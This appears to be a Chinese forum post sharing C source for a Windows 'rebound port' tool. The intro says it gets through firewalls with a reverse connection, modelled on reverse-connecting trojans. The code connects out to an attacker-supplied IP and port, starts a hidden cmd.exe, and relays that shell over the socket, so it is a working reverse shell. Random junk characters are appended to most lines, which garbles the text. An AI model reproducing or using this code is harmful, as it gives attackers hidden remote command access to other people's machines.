这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x,B] J4
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/* ============================== K_i|cYGV
Rebound port in Windows NT a5*r1,
By wind,2006/7 AuNUW0/
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===============================*/ 4fLRl-)
#include u`MMK4 %
#include !~#zd]0x;
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#pragma comment(lib,"wsock32.lib") l\<.*6r
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void OutputShell(); qBEp |V
SOCKET sClient; #GzALF97
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =uP?
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void main(int argc,char **argv) {
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{ 65EMB%
WSADATA stWsaData; 0 QTI;3
int nRet; mU5Ox4>&9
SOCKADDR_IN stSaiClient,stSaiServer; t. P@Ba^
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if(argc != 3) *EWWN?d
{ mixsJ}e
printf("Useage:\n\rRebound DestIP DestPort\n"); JP#S/kJ%3
return; *X0>Ru[
} | {9<%Ok4P
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,i:?c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4BCPh:
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stSaiClient.sin_family = AF_INET; $/wm k7T
stSaiClient.sin_port = htons(0); WZQ2Mi<&1'
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c'oiW)8;A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9q'9i9/3d
{ 10SI&O
printf("Bind Socket Failed!\n"); ?I+L
return; ^Jp T8B}
} z33UER"
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stSaiServer.sin_family = AF_INET; Xa`Q;J"h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5kGniG?T#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F0$w9p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Iz0$T.T
{ Q'OtXs 80
printf("Connect Error!");
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return; /U;j-m&
} {JE [
OutputShell(); eiMP:
} *yBVZD|?H
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void OutputShell() 2e_ Di(us
{ juF9:Eah
char szBuff[1024]; \.L jA_
SECURITY_ATTRIBUTES stSecurityAttributes; 8t!jo.g
OSVERSIONINFO stOsversionInfo; D$l!lRu8+L
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jVff@)_S
STARTUPINFO stStartupInfo; Kg%9&l
char *szShell; 1K Vit{
PROCESS_INFORMATION stProcessInformation; yqN`R\d
unsigned long lBytesRead; c
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $Q*R/MY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]8A*uyi
stSecurityAttributes.lpSecurityDescriptor = 0; `~XksyT
stSecurityAttributes.bInheritHandle = TRUE; ~F"S]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "OLg2O^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q`xc h[H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {4g';
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0qS/>u*
stStartupInfo.wShowWindow = SW_HIDE; Wga2).j6
stStartupInfo.hStdInput = hReadPipe; Qs1CK;+zU
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p:08q
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GetVersionEx(&stOsversionInfo); T5:Q_o]
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switch(stOsversionInfo.dwPlatformId) |=0vgwd"S
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case 1: yCQvo(V[F
szShell = "command.com"; HV a9b;
break; V0;"Qa@q
default: 1jKpLTSs
szShell = "cmd.exe"; ^lp=4C9
break; aE~T!h
} N<Sl88+U
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); w)7y{ya$
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send(sClient,szMsg,77,0); 2 7)IfE
while(1) gmVN(K}SR5
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;EBKzB
if(lBytesRead) {o~TbnC
{ B $u/n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2Q e&FeT
send(sClient,szBuff,lBytesRead,0); )U~|QdZ
} <|r|s
else }u8(7
{ uWJJ\
lBytesRead=recv(sClient,szBuff,1024,0); [/a
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if(lBytesRead<=0) break; TtkHMPlm_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kL DpZ{
} d88A.Z3w
} 9~hW8{#
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return; y i$+rPF1
}